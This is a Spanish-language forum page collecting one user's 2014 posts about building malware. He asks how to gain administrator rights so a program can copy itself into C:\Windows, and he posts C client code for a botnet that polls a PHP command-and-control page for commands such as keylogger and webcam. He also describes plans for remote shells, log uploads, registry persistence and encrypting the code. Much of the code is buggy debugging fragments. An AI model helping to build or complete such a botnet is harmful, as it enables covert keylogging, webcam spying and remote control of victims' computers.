elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 ... 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 [68] 69 70 71 72 73 74 75 76 77
671  Programación / Programación C/C++ / Ayuda obtener permisos administrador en: 21 Septiembre 2014, 01:44 am
Buenas gente, estaba escribiendo algún malware y llegado el momento de instalarse necesito que se copie en el directorio "C:\Windows" y necesito permisos de root, he estado buscando bastante por google, y parece que hay funciones para unix, a través de las cuales puedes adquirir el root para ejecutar el programa, yo solo quiero que mi programa al ejecutar tenga permisos de root para poder copiarse en ese directorio, ahora estoy trabajando el C++, soy nuevo pero me adaptaré rápido espero xD.

Confío en que sepáis algo sobre el tema, toda ayuda es bienvenida.

Edito: He estado mirando cosas para hacerlo, quizás con chmod() podría eliminar privilegios del directorio en cuestión. Pero seguramente necesite permisos para usarla no se si windows me pondra en el .exe la opción de correr como administrador, estaría bien.

Edito: No entiendo, si tengo este código:

Código
  1. #include <sys/types.h>
  2. #include <sys/stat.h>
  3. #include <io.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <errno.h>
  7. #include <windows.h>
  8. using namespace std;
  9.  
  10. int main()
  11. {
  12.    int permisos;
  13.    permisos=_chmod("C:\\Users\\...\\programa.exe",_S_IWRITE);
  14.    if(permisos==-1)
  15.    {
  16.        printf("Error al dar permisos al archivo.");
  17.    }
  18.    else
  19.    {
  20.        printf("Éxito al dar permisos al archivo.");
  21.    }
  22.    system("move programa.exe C:\\Windows");
  23.    getchar();
  24.    return 0;
  25. }
  26.  
  27.  

No entiendo porque para poder ejecutar el move hacia el directorio necesito clicar botón derecho en el programa y ejecutar como administrador, eso ya lo tenía sin hacer nada, lo que quiero es que no tengas que dar al botón derecho, que directamente el programa al darlo click te diga que va a ser ejecutado como administrador (aunque eso solo la primera ejecución luego estaría ya copiado y no necesitaría permisos).

Se supone que le di permisos de escritura al archivo, y me los concedió entonces ¿por qué tengo que ejecutarlo como administrador para hacer el move?

Yo quiero que salga igual que cuando vamos a instalar un programa nos pide permisos, (no se puede correr sin los permisos), y que cuando se instale ya no necesite pedir permisos más, como cualquier programa que instalamos vamos.

Edito: He encontrado esto, ¿cómo debería aplicarlo al código para que me funcionara?

http://msdn.microsoft.com/en-us/library/bb756929.aspx

También mediante makefiles se puede incrustar el manifiesto:

http://msdn.microsoft.com/es-es/library/ms235591.aspx

Saludos.
672  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 23:54 pm
Muchas gracias por la ayuda compañero, la verdad que me funciono  perfecto :)))

Ahora estoy corrigiendo mil fallos, y tengo pensado meterle comandos para trolear en plan mover_raton, infinitas ventanas, meter contador de tiempo al keylogger, tambien estoy trabajando con los directorios del servidor, cuando se conecta un cliente x primera vez crea una carpeta para ese usuario y otras 3 dentro de ella (pics,logs,shell), para tenerlo todo bien ordenador, lo estoy probando y la shell va perfecta, ahora solo me falla el post para subir los logs y las shells, espero repararlo pronto, pero quedan mil cosas por hacer como el anclado al registro, control de errores, poner la memoria de las variable con sentido, cifrar rl código, podría escribir un libro en fin NUNCA ACABARA!!! XDDD

Si tengo algún problema lo posteo que vuestra ayuda me viene muy bien xD

Edito: Marcho a dormir satisfecho después del trabajo y las pruebas, ya os contaré. ;-)

Saludos
673  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 21:17 pm
Hay un marciano con una varita mágica detrás de mí, nueva novedad, tengo un archivo llamado user.dat tiene esto:

Código:
ghsryb

Son 6 caracteres que identifican al usuario todo fantastico.

Código
  1. void conecta_k(char nada[])
  2. {
  3.    FILE *dat,*x;
  4.    WSADATA wsa;
  5.    int sok,len,i=0;
  6.    struct sockaddr_in dir;
  7.    char buf[80384],cad[80384],aux[10],borra[50]="del ",car,nombre[50];
  8.    WSAStartup(MAKEWORD(2,0),&wsa);
  9.    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
  10.    else{
  11.        dir.sin_family=AF_INET;
  12.        dir.sin_port=htons(PUERTO);
  13.        dir.sin_addr.s_addr=inet_addr(IP);
  14.  
  15.        fflush(stdin);
  16.        x=fopen("user.dat","rt");
  17.        fseek(x,0,SEEK_CUR);
  18.        fprintf(x,"%s",nombre);
  19.        fclose(x);
  20.        fflush(stdin);
  21.  
  22.        printf("hemos leido user.dat el usuario es %s",nombre);
  23.        getch();
  24.  
  25.        strcpy(cad,"u=");
  26.        strcat(cad,nombre);
  27.        ....
  28. }
  29.  

Pues bien resulta que quiero abrir el archivo para leer el usuario y hacer un post cargando el nombre de usuario en la variable "u", pero sorpresa lo que leo del archivo en la variable nombre es una coma "," ni más ni menos, es por elloque escribo este mensaje, haber si sabéis como solucionar esto o porque se produce yo estoy casi seguro que todos los fallos hasta ahora vienen dados por el recv esa cadena tiene cosas raras invisibles seguro, dicho esto estoy activamente buscando alguna respuesta.

Saludos
674  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 20:16 pm
Citar
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando.

Eso puede ser una solución, aunque  ya creo más en la magia que en los hechos.

Probando...

Edito: OOHHHH DIOOOSS SI SOLUCIONADO!! me pregunto porque ocurrirán estas mierdas!! Seguro tenía que ver con el recv(), aquí el script usado:

Código
  1. b=0;
  2. for(i=0;i<strlen(comando);i++)
  3.        {
  4.            if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
  5.            {
  6.                i=i+4;
  7.                while(comando[i]!='\n')
  8.                {
  9.                    comanda[b]=comando[i];
  10.                    i++;
  11.                    b++;
  12.                }
  13.                comanda[sizeof(comanda)]='\0';
  14.                break;
  15.            }
  16.        }
  17.    }
  18.    b=0;
  19.    for(i=0;i<strlen(comanda);i++)
  20.    {
  21.        if(comanda[i]!='*')
  22.        {
  23.            cumanda[b]=comanda[i];
  24.            b++;
  25.        }
  26.        else
  27.        {
  28.            cumanda[b]='\0';
  29.            break;
  30.        }
  31.    }
  32.    printf("Comando extraido: %s\n\n",cumanda);
  33.    for(i=0;i<strlen(cumanda);i++)
  34.    {
  35.        printf("(%c %d)",cumanda[i],cumanda[i]);
  36.        getch();
  37.    }
  38.    return cumanda;
  39.  

Lo que he echo es poner en el comando 4 asteriscos adelante y 4 detrás.

Saludos y gracias.
675  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 19:53 pm
Bueno aquí estoy otra vez, me estoy desesperando un poco con esto:

Respuesta del servidor: (la muestro como código)

Código:
HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


****keylogger
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->

Bien, ahí estaría leyendo el comando keylogger, os preguntaréis ¿por qué ha puesto los 4 asteriscos?, pues bien, me sirven para encontrar el comando de entre toda la cadena.

El algoritmo que uso para extraer el comando de la cadena es el siguiente:

Código
  1. b=0;
  2. for(i=0;i<strlen(comando);i++)
  3.        {
  4.                             if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*')
  5.            {
  6.                i=i+4;
  7.                printf("\n");
  8.                while(comando[i]!='\n')
  9.                {
  10.                    comanda[b]=comando[i];
  11.                    i++;
  12.                    b++;
  13.                }
  14.                comanda[sizeof(comanda)-2]='\0';
  15.                comanda[sizeof(comanda)-1]='\0';
  16.                comanda[sizeof(comanda)]='\0';
  17.                break;
  18.            }
  19.        }
  20.    }
  21.    printf("Comando extraido: %s\n\n",comanda);
  22.    for(i=0;i<strlen(comanda);i++)
  23.    {
  24.        printf("(%c %d)",comanda[i],comanda[i]);
  25.        getch();
  26.    }
  27.    return comanda;
  28.  

Y bien, el programa estaba venga a fallar y fallar al recibir comando y tratar de ejecutarlo, el programa sacaba el comando de allí correctamente, y lo mostraba con un printf, pero luego no me entraba en un strcmp(comando,"keylogger"), y es que comando al hacer printf mostraba keylogger, pero su tamaño devuelto por strlen era 2 caracteres mayor aunque no los mostraba, entonces monté ee alboroto con el for para que me recorriera la cadena, traté de cortarla poniendo "\0", pues aparecen 2 caracteres basura que se incrustan al final de la cadena y no hay manera de sacarles.

Os pongo lo que ha mostrado el for:

Código:
(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (© -71)

Y para más colmo aún jajaja, los 2 últimos "carácteres" se sobreescriben sobre los que ya ha mostrado la consola, es decir en vez de irlos mostrando de izquierda->derecha->abajo-izquierda->derecha... no bajan y sobrescriben la línea  increible LOL.

Pues eso haber si podéis ayudarme a buscar una solución, el 13 es un retorno de carro (un enter), el otro ni idea de que pinta allí, buff y parecía que era fácil sacar una cadena de otra en c.

Edito: He vuelto a probarlo y me muestra esto:

Código:
(k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (<< -82)

Luego el ultimo caracter es aleatorio, era << solo que las dos flechas más juntas y haciendo un solo caracter, pero no entiendo, he puesto "\0" en los 3 ultimos caracteres de la cadena debería de cortarse allí que broma es esta? Es que no te lo pierdas con otras cadenas me aparecen hasta 4 caracteres extra atrás todos seguidos del retorno de carro.

Por ejemplo puse a ejecutar el comando "ping teleco.com", la respuesta del servidor igual que la anterior solo que cambiando el comando bien(con los 4 asteriscos delante...), luego trato de extraer el comando me depura esto:

Código:
las letras y cuando acaba la cadena esto: ( 13) (É -114) (q 113)

Y la gracia es que esa q da mucho juego, porque luego hay un printf que dice:

Código
  1. printf("Comando extraido: %s",comando);
  2.  

Y muestra:

Código:
qumando extraido: ping teleco.com

Saludos

676  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 00:33 am
Debajo de la cabecera me hay un salto de linea (una linea en blanco), en la siguiente linea pone a3, y en la siguiente linea esta el comando, y luego hay 3 lineas con publicidad del hosting, podría leer las \n desde atras y colocarme con el puntero delante del comando listo para leerlo, o eso creo xD, en verdad sale "webcam ya", mejor lo meto en un archivo y copio y pego...a la espera

Código:
HTTP/1.1 200 OK
Date: Wed, 17 Sep 2014 22:34:04 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Content-Length: 163
Connection: close
Content-Type: text/html


webcam ya
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->

Sale esta preciosidad

PD ha desaparecido el a3 que salia antes lol

Edito: Madre mia esto es horiiiibleee al recoger el comando cada vez sale una cosa omg, hay veces que la cabecera que devuelve el server tiene más lineas que otras, hay otras que aparecen lineas como a8, a3 y no se mas cosas raras jajaja, y cuando da la casualidad y coje el comando bien resulta que los a veces los 2 primeros caracteres del comando son aleatorios como si no loshubiese leido omg horriiiblle x lo demas bien, agradeceria mucho algun algoritmp para sacar sano y salvo ese comando saludos
677  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 00:23 am
O-MAI-GAD ya lo teeeengooooo había cambiado el espacio  al definir char comando[] a uno mas grande pero en el recv no no habia cambiado y solo cogia 150, pero no era suficiente, pero bieeeen, problema resuelto >:D

Ahora es cuando digo como ** saco el comando de ahí xD

Si me sale hasta la publicidad del hosting abajo la madre que lo parió.

Bueno supongo que me las podré apañar contando las "\n" y situándome en la línea que está el comando.

Mañana espera largo día programación, muchas gracias a todos por la ayuda, sin vosotros no hubiera podido  ;-) ;-)

Os mantendré informados de como me va esto.

Saludos.
678  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 00:13 am
Quieres decir que debería funcionar??  ;-) ;-) ;-) ;-) ;-) ;-) ;-)

jajaja bieeen, pero hasta que no lo pruebe no se celebra, es necesario usar el send? no podría usar el recv directamente? ya que no estoy mandando nada, no?

Edito: LOOOOOL jajajajaja que cojones xD, me han salido 8 líneas, ahora entiendo porque decías lo de que no entraba con 50 xD, pero aún no veo el comando, debería de salir abajo un "abre la wetcam" xD
679  Programación / PHP / Re: Controlar botnet con PHP en: 18 Septiembre 2014, 00:04 am
Bueno haber he improvisado esta función haber xD

cliente.c
Código:
*char recojecomando()
{
    WSADATA wsa;
    int sok;
    struct sockaddr_in dir;
    char buf[60384],comando[100];
    WSAStartup(MAKEWORD(2,0),&wsa);
    if((sok=socket(AF_INET,SOCK_STREAM,0))==-1) {}
    else
    {
        dir.sin_family=AF_INET;
        dir.sin_port=htons(PUERTO);
        dir.sin_addr.s_addr=inet_addr(IP);

        strcpy(buf,"POST dir_protegido/usuario1.php HTTP/1.1\r\n");
        strcat(buf,"Host: miweb.com\r\n");
        strcat(buf,"Authorization: Basic aHR0cHdhdGNoOmY=");
        strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
        strcat(buf,"\r\n\r\n");

        connect(sok,(struct sockaddr*)&dir,sizeof(dir));
        send(sok,buf,strlen(buf),0);
        recv(sok,comando,50,0);
        closesocket(sok);
    }
    return comando;
}

Ya me he conectado al server con esto se supone, como extraigo ahora la variable cual es la funcion? y es necesario usar el send? xD

Edito: Quizás sobre el content-type y los \r\n del final ya que no se sube variable, lo de autorizacion supongo que será necesario ya que el archivo está en directorio protegido.
680  Programación / PHP / Re: Controlar botnet con PHP en: 17 Septiembre 2014, 23:40 pm
Entonces vale tengo esto en el PHP:

user1.php
Código
  1. <?
  2. ECHO "MFDLWC";
  3. ?>
  4.  

Y ahora esto en el cliente C:

Código
  1. int main()
  2. {
  3. char comando[50];
  4. //Ahora como recibiría el comando conectándome a la página
  5. return 0;
  6. }
  7.  

Lo demás lo he entendido, pero eso de visita a la página que debo usar sockets? O no sé como hacerlo entonces, el cliente C está vacío xD, es que no se como va eso, el php ya lo he pillado, ahora la parte del cliente para visitar la pagina puerto 80 usando http, ahí me pierdo indagaré en el asunto mientras.

Citar
Para facilitar las cosas puedes hacer el bot en php

Oh eso sería maravilloso, pero a ser posible preferiría hacerlo en C para no mezclar aunque buena aportación, ya tengo algo.

Edito: Supongo que tendré que usar algo del estilo:

https://www.cs.utah.edu/~swalton/listings/sockets/programs/part1/chap4/http-client.c

Edito: He encontrado uno mejor, este es entre cliente java y server php: (aunque siguen siendo lenguajes de alto nivel xD)

http://stackoverflow.com/questions/6527037/php-server-java-client-post-and-echo

Saludos y gracias
Páginas: 1 ... 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 [68] 69 70 71 72 73 74 75 76 77
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines